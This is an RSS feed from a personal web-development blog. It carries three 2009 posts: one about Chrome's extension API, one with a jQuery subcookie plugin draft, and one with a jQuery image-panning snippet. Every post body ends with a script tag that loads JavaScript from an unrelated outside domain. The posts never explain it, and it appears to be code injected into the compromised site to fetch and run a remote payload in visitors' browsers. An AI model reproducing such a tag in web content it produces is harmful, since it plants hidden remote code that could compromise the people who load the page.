<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elzo Valugi &#187; plugin</title>
	<atom:link href="http://blog.valugi.ro/tag/plugin/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.valugi.ro</link>
	<description>professional websurfing</description>
	<lastBuildDate>Sun, 25 Jul 2010 06:34:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>google Chrome has already an API for extensions</title>
		<link>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/</link>
		<comments>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 16:53:22 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=490</guid>
		<description><![CDATA[I was surprised to find it, as I thought it will take a while longer since it will be public. Javascript, HTML and CSS. So far is only for the dev chrominium version. Chrome will catch up soon with Firefox. @chromeDevelopers please make the your console at least as good as Firebug. http://code.google.com/chrome/extensions/api_other.html]]></description>
			<content:encoded><![CDATA[<p>I was surprised to <a href="http://code.google.com/chrome/extensions/index.html" target="_blank">find it</a>, as I thought it will take a while longer since it will be public. Javascript, HTML and CSS. So far is only for the dev chrominium version. Chrome will catch up soon with Firefox.</p>
<p>@chromeDevelopers please make the your console at least as good as Firebug.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><a href="http://code.google.com/chrome/extensions/api_other.html">http://code.google.com/chrome/extensions/api_other.html</a></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/22/google-chrome-has-already-an-api-for-extensions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subcookies in jQuery</title>
		<link>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/</link>
		<comments>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 19:37:10 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[subcookie]]></category>
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=459</guid>
		<description><![CDATA[I was looking at YUI Api and I thought I find a new concept : subcookies.  But by reading the docs I realized that the concept is not new, as I&#8217;ve used it before. The idea comes from the limit that the browsers are puting to the cookie number, 20 per domain. This usually makes [...]]]></description>
			<content:encoded><![CDATA[<p>I was looking at YUI Api and I thought I find a new concept : <a href="http://developer.yahoo.com/yui/examples/cookie/cookie-subcookie-example.html" target="_blank">subcookies</a>.  But by reading the docs I realized that the concept is not new, as I&#8217;ve used it before. The idea comes from the limit that the browsers are puting to the cookie number, 20 per domain. This usually makes you try to push as much information on the cookie, instead of creating new cookies for each variable that you may want on the clients side. What you do is basically store serialized data in the cookie string.</p>
<p>A server side solution of this problem is to keep only a cookie with a hash on the client side and read/save all the variables associated with that hash on server side or database. Downside to this approach is that you have to make an extra call server/db call each time you wanna know the values.</p>
<p>The interesting thing is that YUI implements a mechanism to read/write this subcookie data. I&#8217;ve tried to do the same in jQuery starting from <a href="http://plugins.jquery.com/project/cookie" target="_blank">$.cookie</a> plugin and I&#8217;ve come up with this usage.</p>
<p><code class="javascript"><br />
/**<br />
 * Create a cookie with the given name, part and value and other optional parameters.<br />
 * If the part parameter is passed the value will be asigned to the part key<br />
 *<br />
 *<br />
 * @example $.cookie('the_cookie', 'part', 'the_value');<br />
 * @desc Set the value of a cookie. If part parameter is present it will create the value in serialized form<br />
 * @example: $.cookie('the_cookie', null, 'the_value') // creates a cookie with value "the_value"<br />
 * @example: $.cookie('the_cookie, 'name', 'the_name') // creates a cookie with value "name=the_name"<br />
 * @example: $.cookie('the_cookie, 'prename','second_name') // will add info to the cookie value "name=the_name&#038;prename=second_name"<br />
 * @example $.cookie('the_cookie', null, 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});<br />
 * @desc Create a cookie with all available options.<br />
 * @example $.cookie('the_cookie', null, 'the_value');<br />
 * @desc Create a session cookie.<br />
 * @example $.cookie('the_cookie','name', null);<br />
 * @desc Delete the name value<br />
 * @example $.cookie('the_cookie',null, null);<br />
 * @desc Delete a cookie by passing null as value.<br />
 *<br />
 * @param String name The name of the cookie.<br />
 * @param String part The key for the array.<br />
 * @param String value The value of the cookie or of the element.<br />
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.<br />
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.<br />
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.<br />
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained<br />
 *                             when the the browser exits.<br />
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).<br />
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).<br />
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will<br />
 *                        require a secure protocol (like HTTPS).<br />
 *<br />
 *<br />
 */<br />
$.cookie('TheCookie', 'first_key', 'value1', options); // will write the cookie<br />
$.cookie('TheCookie', 'second_key', 'value2', options); // will add the second_key info<br />
alert($.cookie('TheCookie', 'second_key')); // will alert value2<br />
console.log( $.cookie('TheCookie')); // "first_key=value1&#038;second_key=value2<br />
}</code></p>
<p><a href="http://dev.valugi.ro/jquery/subcookie/" target="_blank">You can see a demo of jQuery Subcookie here.</a> This is only a draft but I could rewrite it in a serious plugin if any interes is shown and you think this is could be useful.</p>
<p><code class="javascript"> </code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/13/subcookies-in-jquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Simulating a Pan Image jQuery plugin</title>
		<link>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/</link>
		<comments>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:16:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[pan]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=319</guid>
		<description><![CDATA[Fact: jQuery has plugins for everything. Fact: you don&#8217;t have to use plugins for everything. Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like MbImgNavigator or ImageZoom. I implemented both but I wasn&#8217;t particularly satisfied with neither. [...]]]></description>
			<content:encoded><![CDATA[<p>Fact: jQuery has plugins for everything.</p>
<p>Fact: you don&#8217;t have to use plugins for everything.</p>
<p>Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like <a href="http://pupunzi.wordpress.com/2009/01/20/mbimgnavigator/">MbImgNavigator</a> or <a href="http://www.visual-blast.com/source/jqzoom/">ImageZoom</a>. I implemented both but I wasn&#8217;t particularly satisfied with neither.</p>
<p>So I created my own simulation that is just a couple of lines without even the need for something complex.<br />
What it does:</p>
<ul>
<li>checking if the image is bigger than then the restrictive container</li>
<li>modifies a envelope container to allow movement only between the calculated permitted limits</li>
<li>activates the drag (jQueryUI) by globally or by axis if only one of the dimensions is overlapping the limits</li>
</ul>
<p>If the image is smaller that the limits nothing happens.<br />
<code class="javascript"><br />
	$(document).ready( function (){<br />
		var overflow_x = 0;<br />
		var overflow_y = 0;<br />
		var _image_x = $('#imageTest').width();<br />
		var _image_y = $('#imageTest').height();<br />
		if( _image_x > 300 ){<br />
			overflow_x = _image_x;<br />
		}<br />
		if( _image_y > 300 ){<br />
			overflow_y = _image_y;<br />
		}<br />
		if( overflow_x &#038;&#038; overflow_y ){<br />
			$('#bckContainerImg').css(<br />
				{<br />
					height: (overflow_y * 2 - 300),<br />
					width: ( overflow_x * 2 - 300 ),<br />
					'margin-top' : -( overflow_y - 300),<br />
					'margin-left': -( overflow_x - 300)<br />
				}<br />
			);<br />
			$("#bigImg img").draggable({containment: '#bckContainerImg'}).css({ cursor: 'all-scroll'});<br />
		} else{<br />
			if( overflow_x ){<br />
				$('#bckContainerImg').css({width: ( overflow_x*2 -300 ), 'margin-left': -(overflow_x - 300) });<br />
				$("#bigImg img").draggable({ axis: 'x', containment: '#bckContainerImg' }).css({ cursor: 'e-resize'});<br />
			}<br />
			if( overflow_y ){<br />
				$('#bckContainerImg').css({ height: (overflow_y * 2 - 300),  'margin-top': -(overflow_y - 300),});<br />
				$("#bigImg img").draggable({ axis: 'y', containment: '#bckContainerImg' }).css({ cursor: 'n-resize'});<br />
			}<br />
		}<br />
	});<br />
</code></p>
<p>You can see a <a href="http://dev.valugi.ro/jquery/pan-image/">full demo here</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
